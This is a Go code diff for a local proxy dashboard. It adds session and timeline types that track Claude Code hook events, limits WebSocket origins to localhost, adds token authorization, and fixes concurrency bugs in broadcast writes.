+// Claude Code lifecycle hooks. API requests are correlated to a session best-effort.
+type Session struct {
+	ID             string     `json:"id"`
+	Provider       Provider   `json:"provider,omitempty"`
+	CLI            string     `json:"cli,omitempty"` // claude-code | codex | unknown
+	CWD            string     `json:"cwd,omitempty"`
+	TranscriptPath string     `json:"transcriptPath,omitempty"`
+	GitRemote      string     `json:"gitRemote,omitempty"`
+	GitBranch      string     `json:"gitBranch,omitempty"`
+	Model          string     `json:"model,omitempty"`
+	PackageManager string     `json:"packageManager,omitempty"` // detected from repo lockfiles
+	PermissionMode string     `json:"permissionMode,omitempty"`
+	FirstPrompt    string     `json:"firstPrompt,omitempty"`
+	StartedAt      time.Time  `json:"startedAt"`
+	EndedAt        *time.Time `json:"endedAt,omitempty"`
+	LastActivityAt time.Time  `json:"lastActivityAt"`
+	InputTokens    int        `json:"inputTokens"`
+	OutputTokens   int        `json:"outputTokens"`
+	RequestCount   int        `json:"requestCount"`
+	Status         string     `json:"status"` // active | ended
+	Outcome        string     `json:"outcome,omitempty"`
+}
+
+// SessionEvent is a normalized event on a session timeline, derived from a hook payload.
+type SessionEvent struct {
+	ID              string          `json:"id"`
+	SessionID       string          `json:"sessionId"`
+	Seq             int64           `json:"seq,string"` // string-encoded: exceeds JS Number.MAX_SAFE_INTEGER
+	Type            string          `json:"type"`       // session.start, prompt.submit, tool.call, ...
+	HookEvent       string          `json:"hookEvent,omitempty"`
+	ToolName        string          `json:"toolName,omitempty"`
+	ToolUseID       string          `json:"toolUseId,omitempty"` // pairs PreToolUse <-> PostToolUse
+	PromptID        string          `json:"promptId,omitempty"`  // groups events into a turn
+	FilePath        string          `json:"filePath,omitempty"`
+	Summary         string          `json:"summary,omitempty"`
+	Command         string          `json:"command,omitempty"`         // redacted Bash command
+	CommandCategory string          `json:"commandCategory,omitempty"` // package_manager|test|lint|...
+	PackageManager  string          `json:"packageManager,omitempty"`  // manager the command invoked
+	ExitCode        *int            `json:"exitCode,omitempty"`
+	Success         *bool           `json:"success,omitempty"`
+	Payload         json.RawMessage `json:"payload,omitempty"` // redacted raw hook JSON
+	Timestamp       time.Time       `json:"timestamp"`
+}
+
+// HookEvent is the parsed shape of an inbound Claude Code hook payload. Only fields the
+// proxy cares about are pulled out; the full payload is preserved in Raw.
+type HookEvent struct {
+	SessionID      string          `json:"session_id"`
+	TranscriptPath string          `json:"transcript_path"`
+	CWD            string          `json:"cwd"`
+	HookEventName  string          `json:"hook_event_name"`
+	ToolName       string          `json:"tool_name"`
+	ToolInput      json.RawMessage `json:"tool_input"`
+	ToolResponse   json.RawMessage `json:"tool_response"`
+	ToolUseID      string          `json:"tool_use_id"`
+	PromptID       string          `json:"prompt_id"`
+	Prompt         string          `json:"prompt"`
+	Model          string          `json:"model"`
+	PermissionMode string          `json:"permission_mode"`
+	Source         string          `json:"source"` // SessionStart source (startup, resume, clear)
+	Reason         string          `json:"reason"`
+	Raw            json.RawMessage `json:"-"`
+}
+
+// TimelineEvent is a unified, ordered entry merging hook events and API requests for a session.
+type TimelineEvent struct {
+	Type            string    `json:"type"`
+	Timestamp       time.Time `json:"timestamp"`
+	Summary         string    `json:"summary,omitempty"`
+	ToolName        string    `json:"toolName,omitempty"`
+	ToolUseID       string    `json:"toolUseId,omitempty"`
+	PromptID        string    `json:"promptId,omitempty"`
+	FilePath        string    `json:"filePath,omitempty"`
+	Command         string    `json:"command,omitempty"`
+	CommandCategory string    `json:"commandCategory,omitempty"`
+	PackageManager  string    `json:"packageManager,omitempty"`
+	ExitCode        *int      `json:"exitCode,omitempty"`
+	Success         *bool     `json:"success,omitempty"`
+	RequestID       string    `json:"requestId,omitempty"`
+	Model           string    `json:"model,omitempty"`
+}
+
 // WSMessage represents a WebSocket message sent to the dashboard
 type WSMessage struct {
-	Type      string           `json:"type"`
-	Request   *RequestRecord   `json:"request,omitempty"`
-	RequestID string           `json:"requestId,omitempty"`
-	Event     *SSEEvent        `json:"event,omitempty"`
-	Requests  []*RequestRecord `json:"requests,omitempty"`
-	Data      *RequestRecord   `json:"data,omitempty"`
+	Type         string           `json:"type"`
+	Request      *RequestRecord   `json:"request,omitempty"`
+	RequestID    string           `json:"requestId,omitempty"`
+	Event        *SSEEvent        `json:"event,omitempty"`
+	Requests     []*RequestRecord `json:"requests,omitempty"`
+	Data         *RequestRecord   `json:"data,omitempty"`
+	Session      *Session         `json:"session,omitempty"`
+	Sessions     []*Session       `json:"sessions,omitempty"`
+	SessionEvent *SessionEvent    `json:"sessionEvent,omitempty"`
 }
diff --git a/proxy/websocket.go b/proxy/websocket.go
index 78a2a17..7bd0bd9 100644
--- a/proxy/websocket.go
+++ b/proxy/websocket.go
@@ -3,13 +3,42 @@ package main
 import (
 	"log"
 	"net/http"
+	"net/url"
 	"sync"
+	"time"
 
 	"github.com/gorilla/websocket"
 )
 
+// writeWait bounds a single WebSocket write so one stalled client can't freeze broadcasts.
+const writeWait = 10 * time.Second
+
 var upgrader = websocket.Upgrader{
-	CheckOrigin: func(r *http.Request) bool { return true },
+	CheckOrigin: allowLocalOrigin,
+}
+
+// allowLocalOrigin permits requests with no Origin header (native/CLI clients) or an Origin
+// pointing at localhost / 127.0.0.1 / [::1]. This keeps the dashboard working while refusing
+// arbitrary remote pages from connecting to a server that exposes source code and prompts.
+func allowLocalOrigin(r *http.Request) bool {
+	origin := r.Header.Get("Origin")
+	if origin == "" {
+		return true
+	}
+	return isLocalOrigin(origin)
+}
+
+// isLocalOrigin reports whether an Origin header value points at the local machine.
+func isLocalOrigin(origin string) bool {
+	if origin == "" {
+		return false
+	}
+	u, err := url.Parse(origin)
+	if err != nil {
+		return false
+	}
+	host := u.Hostname()
+	return host == "localhost" || host == "127.0.0.1" || host == "::1"
 }
 
 // WSHub manages WebSocket connections and broadcasts
@@ -20,16 +49,20 @@ type WSHub struct {
 	register   chan *websocket.Conn
 	unregister chan *websocket.Conn
 	store      *RequestStore
+	repo       Repository
+	token      string
 }
 
 // NewWSHub creates a new WebSocket hub
-func NewWSHub(store *RequestStore) *WSHub {
+func NewWSHub(store *RequestStore, repo Repository, token string) *WSHub {
 	return &WSHub{
 		clients:    make(map[*websocket.Conn]bool),
 		broadcast:  make(chan WSMessage, 256),
 		register:   make(chan *websocket.Conn),
 		unregister: make(chan *websocket.Conn),
 		store:      store,
+		repo:       repo,
+		token:      token,
 	}
 }
 
@@ -40,8 +73,9 @@ func (h *WSHub) Run() {
 		case conn := <-h.register:
 			h.mu.Lock()
 			h.clients[conn] = true
+			n := len(h.clients)
 			h.mu.Unlock()
-			log.Printf("WebSocket client connected. Total clients: %d", len(h.clients))
+			log.Printf("WebSocket client connected. Total clients: %d", n)
 
 		case conn := <-h.unregister:
 			h.mu.Lock()
@@ -49,20 +83,40 @@ func (h *WSHub) Run() {
 				delete(h.clients, conn)
 				conn.Close()
 			}
+			n := len(h.clients)
 			h.mu.Unlock()
-			log.Printf("WebSocket client disconnected. Total clients: %d", len(h.clients))
+			log.Printf("WebSocket client disconnected. Total clients: %d", n)
 
 		case msg := <-h.broadcast:
+			// Snapshot the client set under the lock, then do the (potentially blocking)
+			// network writes outside it so a slow client can't stall registration,
+			// cleanup, or other clients' broadcasts. The Run goroutine is the only writer
+			// per connection (INIT is sent before the conn is registered).
 			h.mu.RLock()
+			conns := make([]*websocket.Conn, 0, len(h.clients))
 			for conn := range h.clients {
-				err := conn.WriteJSON(msg)
-				if err != nil {
+				conns = append(conns, conn)
+			}
+			h.mu.RUnlock()
+
+			var dead []*websocket.Conn
+			for _, conn := range conns {
+				conn.SetWriteDeadline(time.Now().Add(writeWait))
+				if err := conn.WriteJSON(msg); err != nil {
 					log.Printf("WebSocket write error: %v", err)
-					conn.Close()
-					delete(h.clients, conn)
+					dead = append(dead, conn)
 				}
 			}
-			h.mu.RUnlock()
+			if len(dead) > 0 {
+				h.mu.Lock()
+				for _, conn := range dead {
+					if _, ok := h.clients[conn]; ok {
+						delete(h.clients, conn)
+						conn.Close()
+					}
+				}
+				h.mu.Unlock()
+			}
 		}
 	}
 }
@@ -78,25 +132,40 @@ func (h *WSHub) Broadcast(msg WSMessage) {
 
 // HandleConnection handles new WebSocket connections
 func (h *WSHub) HandleConnection(w http.ResponseWriter, r *http.Request) {
+	if h.token != "" && !tokenAuthorized(r, h.token) {
+		http.Error(w, "unauthorized", http.StatusUnauthorized)
+		return
+	}
+
 	conn, err := upgrader.Upgrade(w, r, nil)
 	if err != nil {
 		log.Printf("WebSocket upgrade error: %v", err)
 		return
 	}
 
-	h.register <- conn
-
-	// Send current state to new client
+	// Send current state to the new client BEFORE registering it for broadcasts, so the
+	// hub's Run goroutine never writes to this conn concurrently with this INIT write
+	// (gorilla forbids concurrent writes to one connection).
+	var sessions []*Session
+	if h.repo != nil {
+		if s, err := h.repo.ListSessions(200); err == nil {
+			sessions = s
+		}
+	}
 	initMsg := WSMessage{
 		Type:     "INIT",
 		Requests: h.store.GetAll(),
+		Sessions: sessions,
 	}
+	conn.SetWriteDeadline(time.Now().Add(writeWait))
 	if err := conn.WriteJSON(initMsg); err != nil {
 		log.Printf("Failed to send init message: %v", err)
-		h.unregister <- conn
+		conn.Close()
 		return
 	}
 
+	h.register <- conn
+
 	// Read loop to detect disconnection
 	go func() {
 		defer func() {